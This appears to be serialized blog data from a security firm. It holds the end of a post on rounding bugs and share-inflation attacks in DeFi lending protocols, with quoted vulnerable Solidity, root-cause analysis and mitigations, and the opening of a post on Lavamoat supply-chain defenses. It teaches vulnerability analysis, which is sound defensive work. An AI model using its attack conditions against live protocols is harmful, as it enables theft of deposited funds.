PRECISION_FACTOR_E18\n",{"type":21,"tag":153,"props":48610,"children":48611},{"class":155,"line":795},[48612,48616],{"type":21,"tag":153,"props":48613,"children":48614},{"style":198},[48615],{"type":26,"value":35139},{"type":21,"tag":153,"props":48617,"children":48618},{"style":160},[48619],{"type":26,"value":48620}," borrowAmount;\n",{"type":21,"tag":153,"props":48622,"children":48623},{"class":155,"line":808},[48624],{"type":21,"tag":153,"props":48625,"children":48626},{"emptyLinePlaceholder":16},[48627],{"type":26,"value":759},{"type":21,"tag":153,"props":48629,"children":48630},{"class":155,"line":820},[48631,48635,48640,48644,48648],{"type":21,"tag":153,"props":48632,"children":48633},{"style":1751},[48634],{"type":26,"value":2338},{"type":21,"tag":153,"props":48636,"children":48637},{"style":160},[48638],{"type":26,"value":48639}," (state ",{"type":21,"tag":153,"props":48641,"children":48642},{"style":198},[48643],{"type":26,"value":1694},{"type":21,"tag":153,"props":48645,"children":48646},{"style":170},[48647],{"type":26,"value":15187},{"type":21,"tag":153,"props":48649,"children":48650},{"style":160},[48651],{"type":26,"value":2659},{"type":21,"tag":153,"props":48653,"children":48654},{"class":155,"line":842},[48655,48660,48665],{"type":21,"tag":153,"props":48656,"children":48657},{"style":1751},[48658],{"type":26,"value":48659},"    revert",{"type":21,"tag":153,"props":48661,"children":48662},{"style":181},[48663],{"type":26,"value":48664}," ResultsInBadDebt",{"type":21,"tag":153,"props":48666,"children":48667},{"style":160},[48668],{"type":26,"value":839},{"type":21,"tag":153,"props":48670,"children":48671},{"class":155,"line":3204},[48672],{"type":21,"tag":153,"props":48673,"children":48674},{"style":160},[48675],{"type":26,"value":548},{"type":21,"tag":22,"props":48677,"children":48678},{},[48679],{"type":26,"value":48680},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":21,"tag":22,"props":48682,"children":48683},{},[48684],{"type":26,"value":48685},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":21,"tag":22,"props":48687,"children":48688},{},[48689,48691,48697],{"type":26,"value":48690},"And indeed, ",{"type":21,"tag":29,"props":48692,"children":48695},{"href":48693,"rel":48694},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[33],[48696],{"type":26,"value":48401},{"type":26,"value":48698}," rounds up the share value.",{"type":21,"tag":143,"props":48700,"children":48702},{"className":7205,"code":48701,"language":7204,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[48703],{"type":21,"tag":78,"props":48704,"children":48705},{"__ignoreMap":7},[48706,48722,48739,48755,48768,48775,48783,48791,48811,48818,48839,48860,48882,48911,48932],{"type":21,"tag":153,"props":48707,"children":48708},{"class":155,"line":156},[48709,48713,48718],{"type":21,"tag":153,"props":48710,"children":48711},{"style":170},[48712],{"type":26,"value":34072},{"type":21,"tag":153,"props":48714,"children":48715},{"style":181},[48716],{"type":26,"value":48717}," _calculateShares",{"type":21,"tag":153,"props":48719,"children":48720},{"style":160},[48721],{"type":26,"value":773},{"type":21,"tag":153,"props":48723,"children":48724},{"class":155,"line":166},[48725,48730,48735],{"type":21,"tag":153,"props":48726,"children":48727},{"style":214},[48728],{"type":26,"value":48729},"    uint256",{"type":21,"tag":153,"props":48731,"children":48732},{"style":192},[48733],{"type":26,"value":48734}," _product",{"type":21,"tag":153,"props":48736,"children":48737},{"style":160},[48738],{"type":26,"value":792},{"type":21,"tag":153,"props":48740,"children":48741},{"class":155,"line":225},[48742,48746,48751],{"type":21,"tag":153,"props":48743,"children":48744},{"style":214},[48745],{"type":26,"value":48729},{"type":21,"tag":153,"props":48747,"children":48748},{"style":192},[48749],{"type":26,"value":48750}," _pseudo",{"type":21,"tag":153,"props":48752,"children":48753},{"style":160},[48754],{"type":26,"value":792},{"type":21,"tag":153,"props":48756,"children":48757},{"class":155,"line":239},[48758,48763],{"type":21,"tag":153,"props":48759,"children":48760},{"style":214},[48761],{"type":26,"value":48762},"    bool",{"type":21,"tag":153,"props":48764,"children":48765},{"style":192},[48766],{"type":26,"value":48767}," _maxSharePrice\n",{"type":21,"tag":153,"props":48769,"children":48770},{"class":155,"line":382},[48771],{"type":21,"tag":153,"props":48772,"children":48773},{"style":160},[48774],{"type":26,"value":5909},{"type":21,"tag":153,"props":48776,"children":48777},{"class":155,"line":501},[48778],{"type":21,"tag":153,"props":48779,"children":48780},{"style":170},[48781],{"type":26,"value":48782},"    private\n",{"type":21,"tag":153,"props":48784,"children":48785},{"class":155,"line":533},[48786],{"type":21,"tag":153,"props":48787,"children":48788},{"style":170},[48789],{"type":26,"value":48790},"    pure\n",{"type":21,"tag":153,"props":48792,"children":48793},{"class":155,"line":542},[48794,48799,48803,48807],{"type":21,"tag":153,"props":48795,"children":48796},{"style":1751},[48797],{"type":26,"value":48798},"    returns",{"type":21,"tag":153,"props":48800,"children":48801},{"style":160},[48802],{"type":26,"value":5820},{"type":21,"tag":153,"props":48804,"children":48805},{"style":214},[48806],{"type":26,"value":48457},{"type":21,"tag":153,"props":48808,"children":48809},{"style":160},[48810],{"type":26,"value":5909},{"type":21,"tag":153,"props":48812,"children":48813},{"class":155,"line":762},[48814],{"type":21,"tag":153,"props":48815,"children":48816},{"style":160},[48817],{"type":26,"value":13601},{"type":21,"tag":153,"props":48819,"children":48820},{"class":155,"line":776},[48821,48825,48830,48834],{"type":21,"tag":153,"props":48822,"children":48823},{"style":1751},[48824],{"type":26,"value":19687},{"type":21,"tag":153,"props":48826,"children":48827},{"style":160},[48828],{"type":26,"value":48829}," _maxSharePrice ",{"type":21,"tag":153,"props":48831,"children":48832},{"style":198},[48833],{"type":26,"value":1694},{"type":21,"tag":153,"props":48835,"children":48836},{"style":170},[48837],{"type":26,"value":48838}," true\n",{"type":21,"tag":153,"props":48840,"children":48841},{"class":155,"line":795},[48842,48847,48852,48856],{"type":21,"tag":153,"props":48843,"children":48844},{"style":198},[48845],{"type":26,"value":48846},"        ?",{"type":21,"tag":153,"props":48848,"children":48849},{"style":160},[48850],{"type":26,"value":48851}," _product % _pseudo ",{"type":21,"tag":153,"props":48853,"children":48854},{"style":198},[48855],{"type":26,"value":1694},{"type":21,"tag":153,"props":48857,"children":48858},{"style":300},[48859],{"type":26,"value":26976},{"type":21,"tag":153,"props":48861,"children":48862},{"class":155,"line":808},[48863,48868,48873,48877],{"type":21,"tag":153,"props":48864,"children":48865},{"style":198},[48866],{"type":26,"value":48867},"            ?",{"type":21,"tag":153,"props":48869,"children":48870},{"style":160},[48871],{"type":26,"value":48872}," _product ",{"type":21,"tag":153,"props":48874,"children":48875},{"style":198},[48876],{"type":26,"value":7310},{"type":21,"tag":153,"props":48878,"children":48879},{"style":160},[48880],{"type":26,"value":48881}," _pseudo\n",{"type":21,"tag":153,"props":48883,"children":48884},{"class":155,"line":820},[48885,48890,48894,48898,48903,48907],{"type":21,"tag":153,"props":48886,"children":48887},{"style":198},[48888],{"type":26,"value":48889},"            :",{"type":21,"tag":153,"props":48891,"children":48892},{"style":160},[48893],{"type":26,"value":48872},{"type":21,"tag":153,"props":48895,"children":48896},{"style":198},[48897],{"type":26,"value":7310},{"type":21,"tag":153,"props":48899,"children":48900},{"style":160},[48901],{"type":26,"value":48902}," _pseudo ",{"type":21,"tag":153,"props":48904,"children":48905},{"style":198},[48906],{"type":26,"value":4099},{"type":21,"tag":153,"props":48908,"children":48909},{"style":300},[48910],{"type":26,"value":22139},{"type":21,"tag":153,"props":48912,"children":48913},{"class":155,"line":842},[48914,48919,48923,48927],{"type":21,"tag":153,"props":48915,"children":48916},{"style":198},[48917],{"type":26,"value":48918},"        :",{"type":21,"tag":153,"props":48920,"children":48921},{"style":160},[48922],{"type":26,"value":48872},{"type":21,"tag":153,"props":48924,"children":48925},{"style":198},[48926],{"type":26,"value":7310},{"type":21,"tag":153,"props":48928,"children":48929},{"style":160},[48930],{"type":26,"value":48931}," _pseudo;\n",{"type":21,"tag":153,"props":48933,"children":48934},{"class":155,"line":3204},[48935],{"type":21,"tag":153,"props":48936,"children":48937},{"style":160},[48938],{"type":26,"value":548},{"type":21,"tag":22,"props":48940,"children":48941},{},[48942,48947],{"type":21,"tag":5302,"props":48943,"children":48944},{},[48945],{"type":26,"value":48946},"Regardless of which way the share rounding occurs, this is a bug",{"type":26,"value":48948},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":21,"tag":22,"props":48950,"children":48951},{},[48952],{"type":26,"value":48953},"This is a really tricky invariant to reason about!",{"type":21,"tag":66,"props":48955,"children":48957},{"id":48956},"root-cause",[48958],{"type":26,"value":48959},"Root Cause",{"type":21,"tag":22,"props":48961,"children":48962},{},[48963],{"type":26,"value":48964},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":21,"tag":22,"props":48966,"children":48967},{},[48968],{"type":26,"value":48969},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":21,"tag":143,"props":48971,"children":48973},{"className":7205,"code":48972,"language":7204,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48974],{"type":21,"tag":78,"props":48975,"children":48976},{"__ignoreMap":7},[48977],{"type":21,"tag":153,"props":48978,"children":48979},{"class":155,"line":156},[48980,48985,48989,48994,48998],{"type":21,"tag":153,"props":48981,"children":48982},{"style":160},[48983],{"type":26,"value":48984},"totalDepositShares ",{"type":21,"tag":153,"props":48986,"children":48987},{"style":198},[48988],{"type":26,"value":313},{"type":21,"tag":153,"props":48990,"children":48991},{"style":160},[48992],{"type":26,"value":48993}," _amount ",{"type":21,"tag":153,"props":48995,"children":48996},{"style":198},[48997],{"type":26,"value":7310},{"type":21,"tag":153,"props":48999,"children":49000},{"style":160},[49001],{"type":26,"value":49002}," pseudoTotalPool\n",{"type":21,"tag":22,"props":49004,"children":49005},{},[49006],{"type":26,"value":49007},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":21,"tag":22,"props":49009,"children":49010},{},[49011,49013,49017],{"type":26,"value":49012},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":21,"tag":5302,"props":49014,"children":49015},{},[49016],{"type":26,"value":22613},{"type":26,"value":49018}," integer division?",{"type":21,"tag":66,"props":49020,"children":49022},{"id":49021},"mitigations",[49023],{"type":26,"value":49024},"Mitigations",{"type":21,"tag":22,"props":49026,"children":49027},{},[49028],{"type":26,"value":49029},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":21,"tag":22,"props":49031,"children":49032},{},[49033,49035,49042],{"type":26,"value":49034},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":21,"tag":29,"props":49036,"children":49039},{"href":49037,"rel":49038},"https://twitter.com/danielvf/status/1746306320553152615",[33],[49040],{"type":26,"value":49041},"@danielvf notes",{"type":26,"value":49043},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":21,"tag":143,"props":49045,"children":49047},{"className":7205,"code":49046,"language":7204,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[49048],{"type":21,"tag":78,"props":49049,"children":49050},{"__ignoreMap":7},[49051,49075,49122,49156],{"type":21,"tag":153,"props":49052,"children":49053},{"class":155,"line":156},[49054,49058,49063,49067,49071],{"type":21,"tag":153,"props":49055,"children":49056},{"style":1751},[49057],{"type":26,"value":2338},{"type":21,"tag":153,"props":49059,"children":49060},{"style":160},[49061],{"type":26,"value":49062}," (_totalSupply ",{"type":21,"tag":153,"props":49064,"children":49065},{"style":198},[49066],{"type":26,"value":1694},{"type":21,"tag":153,"props":49068,"children":49069},{"style":300},[49070],{"type":26,"value":5799},{"type":21,"tag":153,"props":49072,"children":49073},{"style":160},[49074],{"type":26,"value":2659},{"type":21,"tag":153,"props":49076,"children":49077},{"class":155,"line":166},[49078,49083,49087,49092,49097,49102,49107,49112,49117],{"type":21,"tag":153,"props":49079,"children":49080},{"style":160},[49081],{"type":26,"value":49082},"    liquidity ",{"type":21,"tag":153,"props":49084,"children":49085},{"style":198},[49086],{"type":26,"value":2367},{"type":21,"tag":153,"props":49088,"children":49089},{"style":160},[49090],{"type":26,"value":49091}," Math.",{"type":21,"tag":153,"props":49093,"children":49094},{"style":181},[49095],{"type":26,"value":49096},"sqrt",{"type":21,"tag":153,"props":49098,"children":49099},{"style":160},[49100],{"type":26,"value":49101},"(amount0.",{"type":21,"tag":153,"props":49103,"children":49104},{"style":181},[49105],{"type":26,"value":49106},"mul",{"type":21,"tag":153,"props":49108,"children":49109},{"style":160},[49110],{"type":26,"value":49111},"(amount1)).",{"type":21,"tag":153,"props":49113,"children":49114},{"style":181},[49115],{"type":26,"value":49116},"sub",{"type":21,"tag":153,"props":49118,"children":49119},{"style":160},[49120],{"type":26,"value":49121},"(MINIMUM_LIQUIDITY);\n",{"type":21,"tag":153,"props":49123,"children":49124},{"class":155,"line":225},[49125,49130,49134,49138,49142,49146,49151],{"type":21,"tag":153,"props":49126,"children":49127},{"style":181},[49128],{"type":26,"value":49129},"   _mint",{"type":21,"tag":153,"props":49131,"children":49132},{"style":160},[49133],{"type":26,"value":189},{"type":21,"tag":153,"props":49135,"children":49136},{"style":214},[49137],{"type":26,"value":35334},{"type":21,"tag":153,"props":49139,"children":49140},{"style":160},[49141],{"type":26,"value":189},{"type":21,"tag":153,"props":49143,"children":49144},{"style":300},[49145],{"type":26,"value":2996},{"type":21,"tag":153,"props":49147,"children":49148},{"style":160},[49149],{"type":26,"value":49150},"), MINIMUM_LIQUIDITY); ",{"type":21,"tag":153,"props":49152,"children":49153},{"style":3050},[49154],{"type":26,"value":49155},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":21,"tag":153,"props":49157,"children":49158},{"class":155,"line":239},[49159,49164,49168],{"type":21,"tag":153,"props":49160,"children":49161},{"style":160},[49162],{"type":26,"value":49163},"} ",{"type":21,"tag":153,"props":49165,"children":49166},{"style":1751},[49167],{"type":26,"value":2717},{"type":21,"tag":153,"props":49169,"children":49170},{"style":160},[49171],{"type":26,"value":236},{"type":21,"tag":22,"props":49173,"children":49174},{},[49175,49177,49184],{"type":26,"value":49176},"Alternatively, ",{"type":21,"tag":29,"props":49178,"children":49181},{"href":49179,"rel":49180},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[33],[49182],{"type":26,"value":49183},"storing the conversion rate separately",{"type":26,"value":49185}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":21,"tag":143,"props":49187,"children":49189},{"className":7205,"code":49188,"language":7204,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[49190],{"type":21,"tag":78,"props":49191,"children":49192},{"__ignoreMap":7},[49193,49228],{"type":21,"tag":153,"props":49194,"children":49195},{"class":155,"line":156},[49196,49201,49205,49210,49214,49219,49223],{"type":21,"tag":153,"props":49197,"children":49198},{"style":160},[49199],{"type":26,"value":49200},"accrualIndices.borrowed ",{"type":21,"tag":153,"props":49202,"children":49203},{"style":198},[49204],{"type":26,"value":2367},{"type":21,"tag":153,"props":49206,"children":49207},{"style":160},[49208],{"type":26,"value":49209}," accrualIndices.borrowed ",{"type":21,"tag":153,"props":49211,"children":49212},{"style":198},[49213],{"type":26,"value":313},{"type":21,"tag":153,"props":49215,"children":49216},{"style":160},[49217],{"type":26,"value":49218}," borrowInterestFactor ",{"type":21,"tag":153,"props":49220,"children":49221},{"style":198},[49222],{"type":26,"value":7310},{"type":21,"tag":153,"props":49224,"children":49225},{"style":160},[49226],{"type":26,"value":49227}," precision;\n",{"type":21,"tag":153,"props":49229,"children":49230},{"class":155,"line":166},[49231,49236,49240,49245,49249,49254,49258],{"type":21,"tag":153,"props":49232,"children":49233},{"style":160},[49234],{"type":26,"value":49235},"accrualIndices.deposited ",{"type":21,"tag":153,"props":49237,"children":49238},{"style":198},[49239],{"type":26,"value":2367},{"type":21,"tag":153,"props":49241,"children":49242},{"style":160},[49243],{"type":26,"value":49244}," accrualIndices.deposited ",{"type":21,"tag":153,"props":49246,"children":49247},{"style":198},[49248],{"type":26,"value":313},{"type":21,"tag":153,"props":49250,"children":49251},{"style":160},[49252],{"type":26,"value":49253}," depositInterestFactor ",{"type":21,"tag":153,"props":49255,"children":49256},{"style":198},[49257],{"type":26,"value":7310},{"type":21,"tag":153,"props":49259,"children":49260},{"style":160},[49261],{"type":26,"value":49227},{"type":21,"tag":22,"props":49263,"children":49264},{},[49265],{"type":26,"value":49266},"We also want to note some general takeaways:",{"type":21,"tag":22,"props":49268,"children":49269},{},[49270,49272,49277],{"type":26,"value":49271},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":21,"tag":5302,"props":49273,"children":49274},{},[49275],{"type":26,"value":49276},"apply the state changes and check the invariant",{"type":26,"value":355},{"type":21,"tag":22,"props":49279,"children":49280},{},[49281],{"type":26,"value":49282},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":21,"tag":22,"props":49284,"children":49285},{},[49286],{"type":26,"value":49287},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":21,"tag":66,"props":49289,"children":49290},{"id":5568},[49291],{"type":26,"value":5571},{"type":21,"tag":22,"props":49293,"children":49294},{},[49295],{"type":26,"value":49296},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":21,"tag":22,"props":49298,"children":49299},{},[49300],{"type":26,"value":49301},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":21,"tag":5603,"props":49303,"children":49304},{},[49305],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":49307},[49308,49309,49310,49314,49315,49316],{"id":31710,"depth":166,"text":31713},{"id":48230,"depth":166,"text":48233},{"id":48349,"depth":166,"text":48352,"children":49311},[49312,49313],{"id":48360,"depth":225,"text":48363},{"id":48398,"depth":225,"text":48401},{"id":48956,"depth":166,"text":48959},{"id":49021,"depth":166,"text":49024},{"id":5568,"depth":166,"text":5571},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":49321,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49322,"description":49323,"author":49324,"image":49325,"date":49327,"isFeatured":16,"onBlogPage":16,"body":49328,"_type":5619,"_id":52808,"_source":5621,"_file":52809,"_stem":52810,"_extension":5624},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[33896,33895],{"src":49326},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":18,"children":49329,"toc":52787},[49330,49334,49355,49360,49364,49369,49408,49414,49429,49447,49452,49457,49462,49475,49782,49808,49821,49826,49831,49845,49850,49863,49877,50108,50129,50164,50170,50175,50180,50394,50415,50421,50433,50523,50545,50581,50589,50607,50864,50890,50896,50910,51108,51127,51534,51547,51553,51572,51665,51670,51676,51689,51702,51788,51794,51806,51891,51903,51916,51922,51927,51941,52268,52273,52278,52284,52310,52365,52385,52438,52444,52449,52468,52479,52673,52679,52702,52708,52713,52726,52731,52736,52740,52745,52753,52783],{"type":21,"tag":66,"props":49331,"children":49332},{"id":68},[49333],{"type":26,"value":71},{"type":21,"tag":22,"props":49335,"children":49336},{},[49337,49344,49346,49353],{"type":21,"tag":29,"props":49338,"children":49341},{"href":49339,"rel":49340},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[33],[49342],{"type":26,"value":49343},"Supply chain",{"type":26,"value":49345}," attacks are becoming ",{"type":21,"tag":29,"props":49347,"children":49350},{"href":49348,"rel":49349},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[33],[49351],{"type":26,"value":49352},"increasingly popular in Web3",{"type":26,"value":49354},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":21,"tag":22,"props":49356,"children":49357},{},[49358],{"type":26,"value":49359},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":21,"tag":114,"props":49361,"children":49362},{"id":31710},[49363],{"type":26,"value":31713},{"type":21,"tag":22,"props":49365,"children":49366},{},[49367],{"type":26,"value":49368},"It is important to note that there are three different versions of LavaMoat:",{"type":21,"tag":126,"props":49370,"children":49371},{},[49372,49384,49396],{"type":21,"tag":91,"props":49373,"children":49374},{},[49375,49382],{"type":21,"tag":29,"props":49376,"children":49379},{"href":49377,"rel":49378},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[33],[49380],{"type":26,"value":49381},"Lavamoat Browserify",{"type":26,"value":49383}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":21,"tag":91,"props":49385,"children":49386},{},[49387,49394],{"type":21,"tag":29,"props":49388,"children":49391},{"href":49389,"rel":49390},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[33],[49392],{"type":26,"value":49393},"NodeJS Lavamoat",{"type":26,"value":49395}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":21,"tag":91,"props":49397,"children":49398},{},[49399,49406],{"type":21,"tag":29,"props":49400,"children":49403},{"href":49401,"rel":49402},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[33],[49404],{"type":26,"value":49405},"Lavamoat allow-scripts",{"type":26,"value":49407}," are used to prevent malicious code execution on lifecycle scripts.",{"type":21,"tag":114,"props":49409,"children":49411},{"id":49410},"lavamoats-security-features",[49412],{"type":26,"value":49413},"Lavamoat's Security Features",{"type":21,"tag":22,"props":49415,"children":49416},{},[49417,49419,49427],{"type":26,"value":49418},"The three most important features of Lavamoat",{"type":21,"tag":18171,"props":49420,"children":49421},{},[49422],{"type":21,"tag":29,"props":49423,"children":49425},{"href":32318,"ariaDescribedBy":49424,"dataFootnoteRef":7,"id":32320},[18178],[49426],{"type":26,"value":3033},{"type":26,"value":49428}," are:",{"type":21,"tag":87,"props":49430,"children":49431},{},[49432,49437,49442],{"type":21,"tag":91,"props":49433,"children":49434},{},[49435],{"type":26,"value":49436},"Policy Files",{"type":21,"tag":91,"props":49438,"children":49439},{},[49440],{"type":26,"value":49441},"NPM Anti Hijacking",{"type":21,"tag":91,"props":49443,"children":49444},{},[49445],{"type":26,"value":49446},"Scuttling",{"type":21,"tag":22,"props":49448,"children":49449},{},[49450],{"type":26,"value":49451},"Let's go over them one by one.",{"type":21,"tag":21591,"props":49453,"children":49455},{"id":49454},"policy-files",[49456],{"type":26,"value":49436},{"type":21,"tag":22,"props":49458,"children":49459},{},[49460],{"type":26,"value":49461},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":21,"tag":22,"props":49463,"children":49464},{},[49465,49467,49474],{"type":26,"value":49466},"For example, take the ",{"type":21,"tag":29,"props":49468,"children":49471},{"href":49469,"rel":49470},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[33],[49472],{"type":26,"value":49473},"Metamask Snap policy file",{"type":26,"value":201},{"type":21,"tag":143,"props":49476,"children":49478},{"className":34058,"code":49477,"language":34060,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[49479],{"type":21,"tag":78,"props":49480,"children":49481},{"__ignoreMap":7},[49482,49494,49509,49529,49548,49568,49588,49608,49628,49648,49669,49689,49708,49724,49731,49746,49766],{"type":21,"tag":153,"props":49483,"children":49484},{"class":155,"line":156},[49485,49490],{"type":21,"tag":153,"props":49486,"children":49487},{"style":671},[49488],{"type":26,"value":49489},"   \"@metamask/providers\"",{"type":21,"tag":153,"props":49491,"children":49492},{"style":160},[49493],{"type":26,"value":39715},{"type":21,"tag":153,"props":49495,"children":49496},{"class":155,"line":166},[49497,49501,49505],{"type":21,"tag":153,"props":49498,"children":49499},{"style":671},[49500],{"type":26,"value":39723},{"type":21,"tag":153,"props":49502,"children":49503},{"style":192},[49504],{"type":26,"value":201},{"type":21,"tag":153,"props":49506,"children":49507},{"style":160},[49508],{"type":26,"value":236},{"type":21,"tag":153,"props":49510,"children":49511},{"class":155,"line":225},[49512,49517,49521,49525],{"type":21,"tag":153,"props":49513,"children":49514},{"style":671},[49515],{"type":26,"value":49516},"        \"Event\"",{"type":21,"tag":153,"props":49518,"children":49519},{"style":192},[49520],{"type":26,"value":201},{"type":21,"tag":153,"props":49522,"children":49523},{"style":170},[49524],{"type":26,"value":15187},{"type":21,"tag":153,"props":49526,"children":49527},{"style":160},[49528],{"type":26,"value":792},{"type":21,"tag":153,"props":49530,"children":49531},{"class":155,"line":239},[49532,49536,49540,49544],{"type":21,"tag":153,"props":49533,"children":49534},{"style":671},[49535],{"type":26,"value":39775},{"type":21,"tag":153,"props":49537,"children":49538},{"style":192},[49539],{"type":26,"value":201},{"type":21,"tag":153,"props":49541,"children":49542},{"style":170},[49543],{"type":26,"value":15187},{"type":21,"tag":153,"props":49545,"children":49546},{"style":160},[49547],{"type":26,"value":792},{"type":21,"tag":153,"props":49549,"children":49550},{"class":155,"line":382},[49551,49556,49560,49564],{"type":21,"tag":153,"props":49552,"children":49553},{"style":671},[49554],{"type":26,"value":49555},"        \"chrome.runtime.connect\"",{"type":21,"tag":153,"props":49557,"children":49558},{"style":192},[49559],{"type":26,"value":201},{"type":21,"tag":153,"props":49561,"children":49562},{"style":170},[49563],{"type":26,"value":15187},{"type":21,"tag":153,"props":49565,"children":49566},{"style":160},[49567],{"type":26,"value":792},{"type":21,"tag":153,"props":49569,"children":49570},{"class":155,"line":501},[49571,49576,49580,49584],{"type":21,"tag":153,"props":49572,"children":49573},{"style":671},[49574],{"type":26,"value":49575},"        \"console\"",{"type":21,"tag":153,"props":49577,"children":49578},{"style":192},[49579],{"type":26,"value":201},{"type":21,"tag":153,"props":49581,"children":49582},{"style":170},[49583],{"type":26,"value":15187},{"type":21,"tag":153,"props":49585,"children":49586},{"style":160},[49587],{"type":26,"value":792},{"type":21,"tag":153,"props":49589,"children":49590},{"class":155,"line":533},[49591,49596,49600,49604],{"type":21,"tag":153,"props":49592,"children":49593},{"style":671},[49594],{"type":26,"value":49595},"        \"dispatchEvent\"",{"type":21,"tag":153,"props":49597,"children":49598},{"style":192},[49599],{"type":26,"value":201},{"type":21,"tag":153,"props":49601,"children":49602},{"style":170},[49603],{"type":26,"value":15187},{"type":21,"tag":153,"props":49605,"children":49606},{"style":160},[49607],{"type":26,"value":792},{"type":21,"tag":153,"props":49609,"children":49610},{"class":155,"line":542},[49611,49616,49620,49624],{"type":21,"tag":153,"props":49612,"children":49613},{"style":671},[49614],{"type":26,"value":49615},"        \"document.createElement\"",{"type":21,"tag":153,"props":49617,"children":49618},{"style":192},[49619],{"type":26,"value":201},{"type":21,"tag":153,"props":49621,"children":49622},{"style":170},[49623],{"type":26,"value":15187},{"type":21,"tag":153,"props":49625,"children":49626},{"style":160},[49627],{"type":26,"value":792},{"type":21,"tag":153,"props":49629,"children":49630},{"class":155,"line":762},[49631,49636,49640,49644],{"type":21,"tag":153,"props":49632,"children":49633},{"style":671},[49634],{"type":26,"value":49635},"        \"document.readyState\"",{"type":21,"tag":153,"props":49637,"children":49638},{"style":192},[49639],{"type":26,"value":201},{"type":21,"tag":153,"props":49641,"children":49642},{"style":170},[49643],{"type":26,"value":15187},{"type":21,"tag":153,"props":49645,"children":49646},{"style":160},[49647],{"type":26,"value":792},{"type":21,"tag":153,"props":49649,"children":49650},{"class":155,"line":776},[49651,49656,49660,49665],{"type":21,"tag":153,"props":49652,"children":49653},{"style":671},[49654],{"type":26,"value":49655},"        